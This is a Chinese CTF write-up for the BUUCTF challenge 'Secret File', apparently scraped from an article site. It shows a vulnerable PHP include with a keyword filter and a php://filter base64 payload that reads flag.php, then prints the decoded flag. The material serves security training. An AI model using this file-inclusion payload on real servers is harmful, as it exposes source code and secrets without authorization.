当前位置: 首页 > ai >正文

BUUCTF[极客大挑战 2019]Secret File 1题解

[极客大挑战 2019]Secret File 1

  • 分析:
  • 解题
    • 界面1:
    • 界面二:
    • 界面3:
  • 总结:

分析:

事后来看,这道题主打一个走一步看一步。我们只能从题目的标题中猜到,这道题与文件有关。

解题

界面1:

index.php
本题使用BurpSuite抓包,开始分析Request包:
bp
在图片中找到了一个不和谐的地方

<a id="master" href="./Archive_room.php" style="backgroundcolor:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">

这里设置了一个超链接,只不过按钮设置的非常小,这里我们直接访问/Archive_room.php即可。
访问网址:

界面二:

在这里插入图片描述
这里有一个快速的重定向,所有必须使用BP抓包,点击SECRET按钮:
在这里插入图片描述

界面3:

访问secr3t.php
得到源代码

<html><title>secret</title><meta charset="UTF-8">
<?phphighlight_file(__FILE__);error_reporting(0);$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file); 
//flag放在了flag.php里
?>
</html>

分析过滤代码的目的:

  1. …/ :防止通过相对路径访问文件夹
  2. tp:过滤http和https
  3. input:过滤php://input

这里我们也可以尝试构造:

?file=php://filter/read=convert.base64-encode/resource=flag.php

如果对于如何构造这个payload,可以访问这个链接:BUUCTF[ACTF2020 新生赛]Include 1题解
flag
将下面的BASE64代码解码

<!DOCTYPE html><html><head><meta charset="utf-8"><title>FLAG</title></head><body style="background-color:black;"><br><br><br><br><br><br><h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br><p style="font-family:arial;color:red;font-size:20px;text-align:center;"><?phpecho "我就在这里";$flag = 'flag{aa66b2f7-db47-4fb5-927c-2f79fe08c2b9}';$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'?></p></body></html>

最后获得flag:flag{aa66b2f7-db47-4fb5-927c-2f79fe08c2b9}

总结:

这道题的主要考点依旧是文件包含问题,只是在前面增添了一些步骤,难度整体不大。

http://www.xdnf.cn/news/10514.html

相关文章:

  • 基于 Alpine 定制单功能用途(kiosk)电脑
  • 高效视频倍速播放插件推荐
  • 青少年编程与数学 02-020 C#程序设计基础 17课题、WEB与移动开发
  • C++中实现随机数(超详细!​​​​​)
  • 【Doris基础】Apache Doris中的Coordinator节点作用详解
  • 【MATLAB代码】制导——平行接近法,三维,目标是运动的,订阅专栏后可直接查看MATLAB源代码
  • C#项目07-二维数组的随机创建
  • Kotlin 中 companion object 扩展函数和普通函数区别
  • Qt OpenGL 3D 编程入门
  • Grafana对接Prometheus数据源
  • JAVA学习-练习试用Java实现“使用JavaFX绘制散点图 :可视化数据集”
  • 【2025年B卷】华为OD-100分-字符串重新排列、字符串重新排序
  • 解锁 AI 大语言模型的“知识宝藏”:知识库的奥秘与优化之道
  • TDengine 的 AI 应用实战——电力需求预测
  • 秋招Day12 - 计算机网络 - UDP
  • 阿里云国际站,如何通过代理商邀请的链接注册账号
  • 多维度健康护理:为进行性核上性麻痹患者护航
  • Python基础入门:开启编程之旅
  • 数据资产评估进阶:精读资产评估专家指引第9号——数据资产评估指导【附全文阅读】
  • CppCon 2014 学习:Gamgee: A C++14 library for genomic data processing and analysis
  • 服务器间文件传输
  • Linux_T(Sticky Bit)粘滞位详解
  • Spring Boot中的WebSocket技术实现
  • Linux 权限管理入门:从基础到实践
  • 123网盘SDK-npm包已发布
  • MyBatisPlus--条件构造器及自定义SQL详解
  • 【Linux系列】Gunicorn 进程架构解析:主进程与工作进程
  • CppCon 2014 学习:Hardening Your Code
  • 3.RV1126-OPENCV 图像叠加
  • LM393红外避障电路Multisim仿真